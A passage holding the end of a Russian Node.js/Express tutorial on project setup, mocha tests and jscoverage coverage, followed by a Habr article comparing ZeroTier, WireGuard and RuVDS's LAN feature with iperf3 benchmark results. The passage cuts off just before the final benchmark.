Второй способ доступен потому что мы добавили соответствующую строчку в файл конфигурации package.json в разделе «scripts».
Теперь по адресу <http://localhost:3000/> можно получить строчку 'Hello, World!'.
Настало время залить что-нибудь в GitHub. Создаем новый репозиторий на GitHub с названием node-demo-app и выполняем в директории проекта следующий набор команд, сперва создадим файл README.md (правило хорошего тона)
```
$ echo '# Node.js demo app' > README.md
```
Создадим файл .gitignore для того чтобы не коммитить лишние файлы в git, а именно директорию node\_modules:
```
$ echo 'node_modules' > .gitignore
```
Возможно кто-то читал [статью](http://www.mikealrogers.com/posts/nodemodules-in-git.html) Mikeal Rogers и хотел бы возразить против добавления node\_modules в .gitignore. Для тех кому лень читать, в проектах на node.js рекомендуется такой подход:
* Для проектов которые мы **разворачиваем**, таких как веб-приложения, node\_modules помещаются в репозиторий.
* Для библиотек и другого повторно используемого кода node\_modules не добавляются в репозиторий.
* Для развертывания на production npm не используется.
Но! Мы в качестве хостинга используем Heroku и способ деплоя не выбираем, а там node.js проекты деплоятся с помощью npm, так что не будем замусоривать репозиторий.
Создаем репозиторий, коммитимся и заливаем все на GitHub:
```
$ git init
$ git add .
$ git commit -m 'Hello, World'
$ git remote add origin git@github.com:/node-demo-app.git
$ git push -u origin master
```
#### 2.2.3 Структура приложения
Express пока не диктует строгой структуры для файлов приложения, так что мы придумаем свою. Предлагаю такой вариант:
```
/node-demo-app
|- /app
| |- /controllers - контроллеры
| |- /models - модели
| |- /views - html темплейты
| |- config.js - файл с настройками приложения
| |- main.js - основной файл приложения
|- /public - статика - картинки, клиентские скрипты, стили и т.д.
|- /tests - автоматические тесты
|- app.js - загрузчик приложения
|- server.js - http сервер
```
Никто не заставляет придерживаться именно такой схемы расположения файлов, но мне она кажется удобной, так что просто запомним эту картинку и по мере продвижения по туториалу будем создавать необходимые файлы и директории.
### 2.3 Тестирование приложения
О том что такое TDD и зачем нужно писать тесты вы наверняка уже слышали, а если нет, то можете прочитать об этом [здесь](http://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B0_%D1%87%D0%B5%D1%80%D0%B5%D0%B7_%D1%82%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5). В этом учебнике для тестирования приложения мы воспользуемся подходом, который называется [BDD](http://en.wikipedia.org/wiki/Behavior-driven_development) (behavior-driven development). В тестах мы будем описывать предполагаемое поведение приложения. Сами тесты разделим на две категории: integration тесты — они будут имитировать поведение пользователя и тестировать систему целиком, и unit тесты — для тестирования отдельных модулей приложения.
#### 2.3.1 Автоматические тесты
В качестве фреймворков для написания тестов мы будем использовать библиотеки [mocha](http://visionmedia.github.com/mocha/) (читается как мокка, кофе-мокка :)), [should.js](https://github.com/visionmedia/should.js/), и [supertest](https://github.com/visionmedia/supertest). Mocha служит для организации описаний тест-кейсов, should.js предоставляет синтаксис для осуществления различных проверок, а supertest — это надстройка над простеньким http-клиентом, которая позволяет проверять результаты http-запросов. Для подключения библиотек сделаем необходимые изменения в package.json
```
{
"name": "node-demo-app"
, "version": "0.0.1"
, "scripts": { "start": "node server.js" }
, "dependencies": { "express": "3.0.x" }
, "devDependencies": {
"mocha": "1.7.0"
, "should": "1.2.1"
, "supertest": "0.4.0"
}
}
```
Зависимости мы разместили в разделе «devDependencies», так как нет никакой необходимости тащить эти библиотеки на продакшн сервер. Для установки библиотек выполняем
```
$ npm install
```
Для того что бы понять как это работает, попробуем создать свой первый тест и прогнать его через наш фреймворк
```
$ mkdir tests
$ touch tests/test.js
```
В test.js положим такой тест
```
describe('Truth', function () {
it('should be true', function () {
true.should.be.true
})
it('should not be false', function () {
true.should.not.be.false
})
})
```
и запустим его
```
$ ./node_modules/.bin/mocha --require should --reporter spec tests/test.js
```
Вполне естественно, что такой тест пройдет, так что заменим его на что-то неработающее
```
describe('foo variable', function () {
it('should equal bar', function () {
foo.should.equal('bar')
})
})
```
запускаем
```
$ ./node_modules/.bin/mocha --require should --reporter spec tests
```
и видим, что тесты не прошли, придется чинить код, добавляем объявление переменной
```
var foo = 'bar'
describe('foo variable', function () {
it('should equal bar', function () {
foo.should.equal('bar')
})
})
```
запускаем
```
$ ./node_modules/.bin/mocha --require should --reporter spec tests/test.js
```
и видим что код рабочий.
Основной принцип TDD состоит в том, чтобы написать тесты до того как написан код, таким образом мы можем убедиться в том, что тесты действительно что-то тестируют, а не просто запускают код на выполнение и делают проверки в стиле true.should.be.true. То есть процесс разработки выглядит следующим образом:
1. Пишем тест
2. Выполняем тест и убеждаемся в том что он падает
3. Пишем код
4. Выполняем тест и убеждаемся в том что он проходит, если нет, возвращаемся в п.3
И так много раз.
Чтобы упростить запуск тестов добавим таск прогоняющий тесты в Makefile
```
$ touch Makefile
```
Содержимое Makefile:
```
REPORTER=spec
TESTS=$(shell find ./tests -type f -name "*.js")
test:
@NODE_ENV=test ./node_modules/.bin/mocha \
--require should \
--reporter $(REPORTER) \
$(TESTS)
.PHONY: test
```
Традиционно make использовался для сборки проекта, но его удобно использовать и в целом для автоматизации рутинных задач. Об использовании Makefile читайте [здесь](http://mrbook.org/tutorials/make/). Обращаю внимание на то, что отступы после названия таска должны быть сделаны табами, а не пробелами.
Теперь test-suite можно запускать коммандой:
```
$ make test
```
Попробуем потестировать http запросы. Для того чтобы сделать тестирование более удобным проведем небольшой рефакторинг кода и вынесем приложение express из файла server.js в отдельный модуль app/main.js, а также создадим файл app.js который будет этот модуль экспортировать. Сейчас это может выглядеть нецелесообразным, но такой способ организации кода нам пригодится, когда мы будем проверять покрытие кода тестами.
```
$ mkdir app
$ touch app/main.js
```
app/main.js:
```
var express = require('express')
, app = express()
app.get('/', function (req, res) {
res.send('Hello, World!')
})
module.exports = app
```
```
$ touch app.js
```
app.js:
```
module.exports = require(__dirname + '/app/main')
```
server.js заменяем на
```
var app = require(__dirname + '/app')
, port = process.env.PORT || 3000
app.listen(port, function () {
console.log('Listening on port ', port)
})
```
Для того чтобы понять как работают модули node.js, а также что означают `require` и `module.exports` читаем [документацию](http://nodejs.org/docs/latest/api/modules.html)
Для того, чтобы проверить корректность http запроса напишем в test.js следующий код
```
var request = require('supertest')
, app = require(__dirname + '/../app')
describe('GET /', function () {
it('should contain text "Hello, Express!"', function (done) {
request(app)
.get('/')
.expect(/Hello, Express!/, done)
})
})
```
В этом тесте мы проверяем, что сервер отвечает нам строчкой «Hello, Express!». Так как вместо этого сервер отвечает «Hello, World!», тест упадет. Важный момент, на который нужно обратить внимание, запросы к http серверу происходят асинхронно, по-этому нам нужно будет назначить callback на завешение теста. Mocha предоставляет такую возможность с помощью функции done, которую можно опционально передать в функцию с тест-кейсом. Чтобы тест прошел, нужно заменить строчку «Hello, World!» на «Hello, Express!» в файле app/main.js и выполнить `make test`.
#### 2.3.2 Покрытие кода тестами
В принципе, этот параграф можно пропустить, так как на процесс написания тестового приложения он никак не влияет, но отчет о покрытии кода тестами будет приятным дополнением к нашему test-suite.
Чтобы выяснить насколько полно наш код [покрыт](http://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%BA%D1%80%D1%8B%D1%82%D0%B8%D0%B5_%D0%BA%D0%BE%D0%B4%D0%B0) тестами, потребуется еще один инструмент, он называется [jscoverage](https://github.com/visionmedia/node-jscoverage). Его придется скомпилировать. Так что если у вас еще не установлен компилятор, стоит его поставить:
```
$ sudo apt-get install g++
```
После чего устанавливаем jscoverage:
```
$ cd /tmp
$ git clone git://github.com/visionmedia/node-jscoverage.git
$ cd node-jscoverage
$ ./configure && make
$ sudo make install
```
Вернемся в директорию проекта:
```
$ cd ~/projects/node-tutorial/node-demo-app/
```
Нам потребуется внести некоторые изменения в Makefile и app.js чтобы иметь возможность генерировать отчеты о покрытии.
Makefile:
```
REPORTER=spec
TESTS=$(shell find ./tests -type f -name "*.js")
test:
@NODE_ENV=test ./node_modules/.bin/mocha \
--require should \
--reporter $(REPORTER) \
$(TESTS)
test-cov: app-cov
@APP_COV=1 $(MAKE) --quiet test REPORTER=html-cov > coverage.html
app-cov:
@jscoverage app app-cov
.PHONY: test
```
app.js:
```
module.exports = process.env.APP_COV
? require(__dirname + '/app-cov/main')
: require(__dirname + '/app/main')
```
Мы добавили таск test-cov в Makefile так что теперь для генерации отчета coverage.js достаточно будет запустить `make test-cov`. Изменения в app.js связаны с тем, что для генерации отчета используется инструментированная копия приложения, которую генерирует jscoverage. То есть мы проверяем переменную окружения `APP_COV` и если она установлена загружаем приложение из директории /app-cov, а если нет, то берем обычную версию из /app.
Генерируем отчет:
```
$ make test-cov
```
Должен появиться файл coverage.html, который можно открыть в браузере.
Осталось добавить в .gitignore app-cov и coverage.html:
```
$ echo 'app-cov' >> .gitignore
$ echo 'coverage.html' >> .gitignore
```
С тестами мы разобрались, так что удаляем тестовый тест
```
$ rm tests/test.js
```
И коммитимся
```
$ git add .
$ git ci -m "Added testing framework"
$ git push
```
Исходники демонстрационного приложения можно получить тут: [github.com/DavidKlassen/node-demo-app](https://github.com/DavidKlassen/node-demo-app/)
На подходе третья глава, в ней мы напишем полноценный контроллер для страниц сайта и разберемся с тем как работает шаблонизация в express. | https://habr.com/ru/post/158185/ | null | ru | null |
# ZeroTier, WireGuard и «LAN» от RuVDS. Сравнение возможностей и области применения
[](https://habr.com/ru/company/ruvds/blog/523004/)
В предыдущих [статьях](https://habr.com/ru/company/ruvds/blog/484178/), от [RSagittarius](https://habr.com/ru/users/rsagittarius/), посвящённых ZeroTier было подробно рассмотрено практическое применение данного инструмента и его настройка. Настало время сравнить его с таким, набирающим популярность, решением как WireGuard, что бы понять — в каких случаях лучше выбрать ZeroTier, а в каких WireGuard. Так же, «на закуску», рассмотрим такую штуку как локалка RuVDS.
Wireguard — относительно новый популярный VPN «из коробки»
----------------------------------------------------------
Существует огромное множество VPN решений, наиболее известными, на сегодняшний день, являются IPSec, WireGuard и до недавнего времени наиболее популярный, OpenVPN. Так почему-же я решил сравнивать ZeroTier, который производителем не позиционируется как классическое VPN решение, именно с WireGuard? На то есть несколько причин:
1. Простота настройки — низкий порог входа.
2. Мультиплатформенность — наличие клиентов под все распространённые платформы, включая мобильные.
3. «Новизна» продуктов — и тот и другой стали «на слуху» сравнительно недавно.
4. Было интересно сравнить то что идёт прямо в поставке ядра Linux, современных версий (WireGuard) с ZeroTier.
Итак, что-же такое WireGuard: Wireguard — классическое, клиент-серверное, VPN решение. Опенсорсное, довольно простое, в настройке и производительное. Давайте пробежимся по пунктам из списка выше.
### 1. Простота настройки
По сравнению с тем-же OpenVPN настройка WireGuard действительно «тривиальна». Достаточно сгенерировать пары открытый-закрытый ключ и обменяться открытыми ключами, между хостами, поднять WireGuard интерфейсы (правда руками), и руками-же их скоммуницировать. На этом, в принципе базовая настройка завершена.
и это только для двух хостов, а ведь ещё WG умеет в топологию «звезда» и в [mesh](https://www.scaleway.com/en/docs/wireguard-mesh-network/). Разумеется, в продакшене, всё делается через создание конфигов в `/etc/wireguard/interface_name.conf` и добавление в автозапуск systemd `wg-quick@interface_name.service`. Или [штатным](https://wiki.archlinux.org/index.php/WireGuard#systemd-networkd) конфигурированием интерфейса, если используется systemd-networkd. Там-же можно [посмотреть](https://wiki.archlinux.org/index.php/WireGuard) как конфигурировать wireguard для других менеджеров сети, включая NetworkManager.
### 2. Мультиплатформенность
У WireGuard всё более чем хорошо с мультиплатформенностью. Вот что мы имеем на текущий момент:
* Android
* iOS
* Linux
* FreeBSD
* MacOS
* Mikrotik (RouterOS ≥7.1beta)
* NetBSD
* OpenBSD
* OpenWRT
* Windows
### 3. Новизна
WireGuard впервые «вышел в свет» в конце июня 2016-го и сразу в прод маленькой кучки VPN провайдеров:
> Earliest snapshots of the code base exist from June 30, 2016. Four early adopters of WireGuard were > the VPN service providers Mullvad, AzireVPN, IVPN and cryptostorm.
[Wikipedia](https://en.wikipedia.org/wiki/WireGuard#History)
ZeroTier — виртуальный коммутатор с функцией VPN и «файрволом»
--------------------------------------------------------------
Скажу сразу и честно. Давно не испытывал такого удовольствия от соединения энного количества хостов в сеть. Простота и логичность работы и настройки ZeroTier просто подкупает. А с учётом того, что RuVDS предоставляет готовый шаблон, для поднятия собственного ZeroTier контроллера, так ещё и сокращает время развёртывания VPN сети. Ни в одном опенсорс проекте, до этого, я ещё не видел такой лёгкости добавления отдельных хостов и целых локальных сетей, в VPN сеть. Да именно сеть, ибо производитель позиционирует свой продукт как виртуальный коммутатор с функцией VPN. Теперь можно пройтись по тем-же пунктам что и в случае WireGuard.
### 1. Простота настройки
Не буду повторяться, ибо всё [уже написано до нас](https://habr.com/ru/company/ruvds/blog/485914/). Отмечу лишь то, что добавление нового хоста это одна команда на клиенте вида `zerotier-cli join 7ca3bd9b52f9d96b` и… и всё! (ну и плюс поставить галочку авторизации, в веб-интерфейсе контроллера, для свеже-добавленного хоста). Роутинг в локалки, например в локалки филиалов, тоже никаких проблем! Галочка в GUI и статик роуты на маршрутизаторах локалок. Вобщем, как минимум, я рекомендую попробовать!
### 2. Мультиплатформенность
ZT тоже балует обилием клиентов подо всё что движется, включая практически все популярные NAS и даже OpenWRT.
* Android
* Docker
* iOS
* Linux
* FreeBSD
* MacOS
* OpenWRT
* QNap
* Synology
* WD MyCloud NAS
* Windows
### 3. Новизна
ZeroTier уже не мальчик. Всё-таки 10 лет развития, по айтишным меркам, это уже что-то. Но, тем не менее, продукт выглядит свежо, по крайней мере по концепциям. А главное, он работает ровно так, как задумано. Но это всё лирика. Как мне кажется пора переходить к самому главному к сравнению…
Сравниваем наших героев
-----------------------
Здесь мы сведём воедино все практические аспекты обоих продуктов, плюс сравним производительность ну и определимся с тем, когда и для чего лучше использовать WireGuard, а когда ZeroTier. Итак:
1. Простота настройки. Здесь вперёд, со значительным отрывом вырывается ZeroTier. Проще решения я не видел.
2. Мультиплатформенность. Здесь ± паритет. Но у WireGuard появилась поддержка маршрутизаторов от [Mikrotik](https://habr.com/ru/post/521468/), что может стать решающим фактором при выборе решения.
3. Дополнительные возможности. Наличие встроенного в ZeroTier «файрвола» (да, там такое есть! Но, к сожалению рассмотрение этой фичи выходит за рамки данной статьи) позволяющего блокировать/разрешать трафик на уровне VPN сети.
4. Самое интересное. Производительность.
* Чем тестировали: `iperf3 -P 5 -R`
* ОС, клиент и сервер: Ubuntu 20.04.
* «Железо» RuVDS клиент + сервер:
+ CPU: 1 X Intel® Xeon® CPU E5-2680 v4 @ 2.40GHz
+ Mem 0.5Gb
+ ДЦ RuVDS в Королёве — `iperf3` сервер
+ ДЦ RuVDS в Казани — `iperf3` клиент
**WireGuard, результаты**
```
root@ruvds-9qxnx:~# iperf3 -c 10.0.0.2 -P 5 -R
Connecting to host 10.0.0.2, port 5201
Reverse mode, remote host 10.0.0.2 is sending
[ 5] local 10.0.0.1 port 44108 connected to 10.0.0.2 port 5201
[ 7] local 10.0.0.1 port 44110 connected to 10.0.0.2 port 5201
[ 9] local 10.0.0.1 port 44112 connected to 10.0.0.2 port 5201
[ 11] local 10.0.0.1 port 44114 connected to 10.0.0.2 port 5201
[ 13] local 10.0.0.1 port 44116 connected to 10.0.0.2 port 5201
[ ID] Interval Transfer Bitrate
[ 5] 0.00-1.00 sec 2.20 MBytes 18.4 Mbits/sec
[ 7] 0.00-1.00 sec 2.12 MBytes 17.8 Mbits/sec
[ 9] 0.00-1.00 sec 1.23 MBytes 10.3 Mbits/sec
[ 11] 0.00-1.00 sec 1.90 MBytes 15.9 Mbits/sec
[ 13] 0.00-1.00 sec 1.86 MBytes 15.6 Mbits/sec
[SUM] 0.00-1.00 sec 9.30 MBytes 78.0 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ 5] 1.00-2.00 sec 2.22 MBytes 18.6 Mbits/sec
[ 7] 1.00-2.00 sec 2.24 MBytes 18.8 Mbits/sec
[ 9] 1.00-2.00 sec 1.07 MBytes 9.01 Mbits/sec
[ 11] 1.00-2.00 sec 2.17 MBytes 18.2 Mbits/sec
[ 13] 1.00-2.00 sec 2.30 MBytes 19.3 Mbits/sec
[SUM] 1.00-2.00 sec 10.0 MBytes 84.0 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ 5] 2.00-3.00 sec 2.07 MBytes 17.4 Mbits/sec
[ 7] 2.00-3.00 sec 2.83 MBytes 23.7 Mbits/sec
[ 9] 2.00-3.00 sec 1.08 MBytes 9.08 Mbits/sec
[ 11] 2.00-3.00 sec 2.21 MBytes 18.6 Mbits/sec
[ 13] 2.00-3.00 sec 2.45 MBytes 20.6 Mbits/sec
[SUM] 2.00-3.00 sec 10.7 MBytes 89.4 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ 5] 3.00-4.00 sec 2.06 MBytes 17.3 Mbits/sec
[ 7] 3.00-4.00 sec 2.87 MBytes 24.1 Mbits/sec
[ 9] 3.00-4.00 sec 890 KBytes 7.29 Mbits/sec
[ 11] 3.00-4.00 sec 2.10 MBytes 17.6 Mbits/sec
[ 13] 3.00-4.00 sec 2.12 MBytes 17.8 Mbits/sec
[SUM] 3.00-4.00 sec 10.0 MBytes 84.1 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ 5] 4.00-5.00 sec 2.27 MBytes 19.0 Mbits/sec
[ 7] 4.00-5.00 sec 2.57 MBytes 21.5 Mbits/sec
[ 9] 4.00-5.00 sec 967 KBytes 7.92 Mbits/sec
[ 11] 4.00-5.00 sec 2.07 MBytes 17.4 Mbits/sec
[ 13] 4.00-5.00 sec 2.31 MBytes 19.4 Mbits/sec
[SUM] 4.00-5.00 sec 10.2 MBytes 85.2 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ 5] 5.00-6.00 sec 2.20 MBytes 18.4 Mbits/sec
[ 7] 5.00-6.00 sec 2.78 MBytes 23.3 Mbits/sec
[ 9] 5.00-6.00 sec 927 KBytes 7.60 Mbits/sec
[ 11] 5.00-6.00 sec 2.11 MBytes 17.7 Mbits/sec
[ 13] 5.00-6.00 sec 2.72 MBytes 22.8 Mbits/sec
[SUM] 5.00-6.00 sec 10.7 MBytes 89.9 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ 5] 6.00-7.00 sec 1.97 MBytes 16.5 Mbits/sec
[ 7] 6.00-7.00 sec 2.66 MBytes 22.3 Mbits/sec
[ 9] 6.00-7.00 sec 840 KBytes 6.88 Mbits/sec
[ 11] 6.00-7.00 sec 2.22 MBytes 18.6 Mbits/sec
[ 13] 6.00-7.00 sec 2.65 MBytes 22.3 Mbits/sec
[SUM] 6.00-7.00 sec 10.3 MBytes 86.6 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ 5] 7.00-8.00 sec 1.96 MBytes 16.4 Mbits/sec
[ 7] 7.00-8.00 sec 2.98 MBytes 25.0 Mbits/sec
[ 9] 7.00-8.00 sec 798 KBytes 6.53 Mbits/sec
[ 11] 7.00-8.00 sec 1.89 MBytes 15.8 Mbits/sec
[ 13] 7.00-8.00 sec 2.55 MBytes 21.4 Mbits/sec
[SUM] 7.00-8.00 sec 10.2 MBytes 85.2 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ 5] 8.00-9.00 sec 2.00 MBytes 16.8 Mbits/sec
[ 7] 8.00-9.00 sec 3.05 MBytes 25.6 Mbits/sec
[ 9] 8.00-9.00 sec 826 KBytes 6.76 Mbits/sec
[ 11] 8.00-9.00 sec 2.03 MBytes 17.1 Mbits/sec
[ 13] 8.00-9.00 sec 2.58 MBytes 21.6 Mbits/sec
[SUM] 8.00-9.00 sec 10.5 MBytes 87.7 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ 5] 9.00-10.00 sec 1.95 MBytes 16.4 Mbits/sec
[ 7] 9.00-10.00 sec 3.16 MBytes 26.5 Mbits/sec
[ 9] 9.00-10.00 sec 827 KBytes 6.77 Mbits/sec
[ 11] 9.00-10.00 sec 2.04 MBytes 17.1 Mbits/sec
[ 13] 9.00-10.00 sec 2.52 MBytes 21.1 Mbits/sec
[SUM] 9.00-10.00 sec 10.5 MBytes 87.9 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.06 sec 22.1 MBytes 18.4 Mbits/sec 0 sender
[ 5] 0.00-10.00 sec 20.9 MBytes 17.5 Mbits/sec receiver
[ 7] 0.00-10.06 sec 29.2 MBytes 24.3 Mbits/sec 0 sender
[ 7] 0.00-10.00 sec 27.3 MBytes 22.9 Mbits/sec receiver
[ 9] 0.00-10.06 sec 10.3 MBytes 8.58 Mbits/sec 0 sender
[ 9] 0.00-10.00 sec 9.31 MBytes 7.81 Mbits/sec receiver
[ 11] 0.00-10.06 sec 21.9 MBytes 18.2 Mbits/sec 0 sender
[ 11] 0.00-10.00 sec 20.7 MBytes 17.4 Mbits/sec receiver
[ 13] 0.00-10.06 sec 25.8 MBytes 21.5 Mbits/sec 1 sender
[ 13] 0.00-10.00 sec 24.1 MBytes 20.2 Mbits/sec receiver
[SUM] 0.00-10.06 sec 109 MBytes 91.0 Mbits/sec 1 sender
[SUM] 0.00-10.00 sec 102 MBytes 85.8 Mbits/sec receiver
iperf Done.
```
**ZeroTier, результаты**
```
root@ruvds-9qxnx:~# iperf3 -c 172.28.1.64 -P 5 -R
Connecting to host 172.28.1.64, port 5201
Reverse mode, remote host 172.28.1.64 is sending
[ 5] local 172.28.1.91 port 34468 connected to 172.28.1.64 port 5201
[ 7] local 172.28.1.91 port 34470 connected to 172.28.1.64 port 5201
[ 9] local 172.28.1.91 port 34472 connected to 172.28.1.64 port 5201
[ 11] local 172.28.1.91 port 34474 connected to 172.28.1.64 port 5201
[ 13] local 172.28.1.91 port 34476 connected to 172.28.1.64 port 5201
[ ID] Interval Transfer Bitrate
[ 5] 0.00-1.00 sec 1.08 MBytes 9.07 Mbits/sec
[ 7] 0.00-1.00 sec 988 KBytes 8.08 Mbits/sec
[ 9] 0.00-1.00 sec 768 KBytes 6.28 Mbits/sec
[ 11] 0.00-1.00 sec 615 KBytes 5.03 Mbits/sec
[ 13] 0.00-1.00 sec 1.03 MBytes 8.65 Mbits/sec
[SUM] 0.00-1.00 sec 4.43 MBytes 37.1 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ 5] 1.00-2.00 sec 1.28 MBytes 10.8 Mbits/sec
[ 7] 1.00-2.00 sec 1006 KBytes 8.25 Mbits/sec
[ 9] 1.00-2.00 sec 808 KBytes 6.63 Mbits/sec
[ 11] 1.00-2.00 sec 660 KBytes 5.41 Mbits/sec
[ 13] 1.00-2.00 sec 1.26 MBytes 10.6 Mbits/sec
[SUM] 1.00-2.00 sec 4.96 MBytes 41.6 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ 5] 2.00-3.00 sec 1.14 MBytes 9.55 Mbits/sec
[ 7] 2.00-3.00 sec 1.04 MBytes 8.72 Mbits/sec
[ 9] 2.00-3.00 sec 872 KBytes 7.14 Mbits/sec
[ 11] 2.00-3.00 sec 437 KBytes 3.58 Mbits/sec
[ 13] 2.00-3.00 sec 1.12 MBytes 9.40 Mbits/sec
[SUM] 2.00-3.00 sec 4.58 MBytes 38.4 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ 5] 3.00-4.00 sec 625 KBytes 5.13 Mbits/sec
[ 7] 3.00-4.00 sec 845 KBytes 6.93 Mbits/sec
[ 9] 3.00-4.00 sec 953 KBytes 7.81 Mbits/sec
[ 11] 3.00-4.00 sec 400 KBytes 3.28 Mbits/sec
[ 13] 3.00-4.00 sec 832 KBytes 6.82 Mbits/sec
[SUM] 3.00-4.00 sec 3.57 MBytes 30.0 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ 5] 4.00-5.00 sec 620 KBytes 5.08 Mbits/sec
[ 7] 4.00-5.00 sec 606 KBytes 4.97 Mbits/sec
[ 9] 4.00-5.00 sec 1.12 MBytes 9.37 Mbits/sec
[ 11] 4.00-5.00 sec 633 KBytes 5.19 Mbits/sec
[ 13] 4.00-5.00 sec 1.00 MBytes 8.42 Mbits/sec
[SUM] 4.00-5.00 sec 3.94 MBytes 33.0 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ 5] 5.00-6.00 sec 802 KBytes 6.57 Mbits/sec
[ 7] 5.00-6.00 sec 690 KBytes 5.65 Mbits/sec
[ 9] 5.00-6.00 sec 1.53 MBytes 12.8 Mbits/sec
[ 11] 5.00-6.00 sec 920 KBytes 7.54 Mbits/sec
[ 13] 5.00-6.00 sec 955 KBytes 7.82 Mbits/sec
[SUM] 5.00-6.00 sec 4.82 MBytes 40.4 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ 5] 6.00-7.00 sec 309 KBytes 2.53 Mbits/sec
[ 7] 6.00-7.00 sec 228 KBytes 1.87 Mbits/sec
[ 9] 6.00-7.00 sec 464 KBytes 3.80 Mbits/sec
[ 11] 6.00-7.00 sec 322 KBytes 2.64 Mbits/sec
[ 13] 6.00-7.00 sec 311 KBytes 2.55 Mbits/sec
[SUM] 6.00-7.00 sec 1.60 MBytes 13.4 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ 5] 7.00-8.00 sec 577 KBytes 4.73 Mbits/sec
[ 7] 7.00-8.00 sec 580 KBytes 4.75 Mbits/sec
[ 9] 7.00-8.00 sec 1.30 MBytes 10.9 Mbits/sec
[ 11] 7.00-8.00 sec 792 KBytes 6.49 Mbits/sec
[ 13] 7.00-8.00 sec 655 KBytes 5.36 Mbits/sec
[SUM] 7.00-8.00 sec 3.84 MBytes 32.2 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ 5] 8.00-9.00 sec 781 KBytes 6.40 Mbits/sec
[ 7] 8.00-9.00 sec 561 KBytes 4.59 Mbits/sec
[ 9] 8.00-9.00 sec 1.29 MBytes 10.8 Mbits/sec
[ 11] 8.00-9.00 sec 1.18 MBytes 9.87 Mbits/sec
[ 13] 8.00-9.00 sec 631 KBytes 5.17 Mbits/sec
[SUM] 8.00-9.00 sec 4.39 MBytes 36.8 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ 5] 9.00-10.00 sec 961 KBytes 7.87 Mbits/sec
[ 7] 9.00-10.00 sec 762 KBytes 6.24 Mbits/sec
[ 9] 9.00-10.00 sec 1.44 MBytes 12.0 Mbits/sec
[ 11] 9.00-10.00 sec 1.15 MBytes 9.67 Mbits/sec
[ 13] 9.00-10.00 sec 717 KBytes 5.87 Mbits/sec
[SUM] 9.00-10.00 sec 4.97 MBytes 41.7 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.99 sec 8.33 MBytes 6.36 Mbits/sec 33 sender
[ 5] 0.00-10.00 sec 8.07 MBytes 6.77 Mbits/sec receiver
[ 7] 0.00-10.99 sec 7.32 MBytes 5.58 Mbits/sec 64 sender
[ 7] 0.00-10.00 sec 7.16 MBytes 6.01 Mbits/sec receiver
[ 9] 0.00-10.99 sec 10.7 MBytes 8.20 Mbits/sec 61 sender
[ 9] 0.00-10.00 sec 10.4 MBytes 8.76 Mbits/sec receiver
[ 11] 0.00-10.99 sec 7.25 MBytes 5.53 Mbits/sec 70 sender
[ 11] 0.00-10.00 sec 7.00 MBytes 5.87 Mbits/sec receiver
[ 13] 0.00-10.99 sec 8.61 MBytes 6.57 Mbits/sec 55 sender
[ 13] 0.00-10.00 sec 8.42 MBytes 7.07 Mbits/sec receiver
[SUM] 0.00-10.99 sec 42.3 MBytes 32.2 Mbits/sec 283 sender
[SUM] 0.00-10.00 sec 41.1 MBytes 34.5 Mbits/sec receiver
```
Выводы
------
К сожалению ZeroTier, предсказуемо, проиграл по производительности. По крайней мере для систем на ядре Linux. Но, по моему скромному мнению, ZeroTier победил в простоте и удобстве администрирования. Отсюда вывод. Если вам нужна высокая производительность между серверами и рабочими станциями на линукс, выбирайте WireGuard. Если-же у вас клиенты, по большей части на MacOS, Windows, и мобильных платформах, то я-бы выбрал ZeroTier. Особенно если нужно добавлять / удалять новых клиентов, в большом количестве, раздавать права доступа и так далее. Ну и, для клиентов RuVDS, может стать решающим фактором быстрота и удобство развёртывания собственного контроллера, «в один клик». Так-же, для упрощения выбора, приведу сводную таблицу совместимых платформ:
А теперь небольшой сюрприз
--------------------------
На самом деле, для случая соединения между собой серверов размещённых у RuVDS, есть ещё один вариант. Вариант указанный в заголовке статьи. И этот вариант, по производительности, уделывает даже WireGuard, но, при этом, по простоте настройки сравним с ZeroTier. Это «Локальная сеть» [в панели управления серверами](https://ruvds.com/). Под спойлером — где искать и как всё это настроить:
**Краткий манул, в картинках**
В панели управления серверами у любого сервера который хотим добавить в локалку идём на вкладку «сеть»(1) и смело жмём на капу «настроить локальные сети»(2).
Далее создаём новую локалку.
Задаём имя локальной сети(1). Выделяем подсеть в любом из частных диапазонов (10.0.0.0/8; 192.168.0.0/16; 172.16.0.0/12 etc), с маской в CIDR нотации(2). Опционально придумываем описание(3). Выбираем сервер который хотим подключить(4), подключаем(5), при необходимости повторяем шаги 4 и 5. Жмём зелёную капу(6).
Выглядит локалка как-то так… Проверяем, жмём «Deploy».
Мы подключены к сети(2), но пока в оффлайне(1). Ждём пару минут.
После чего жмём «обновить список»(1) и убеждаемся что сеть перешла в состояние online(2).
После того как сеть поднялась, заходим на виртуалки и проверяем связность. Локалка видна как обычный сетевой интерфейс, с адресом из той подсети которую мы задали(1). «Соседний» сервер на другом конце страны, прекрасно пингуется(2).
Самое интересное — производительность (сервера те-же что и в тестах WireGuard и ZeroTier):
```
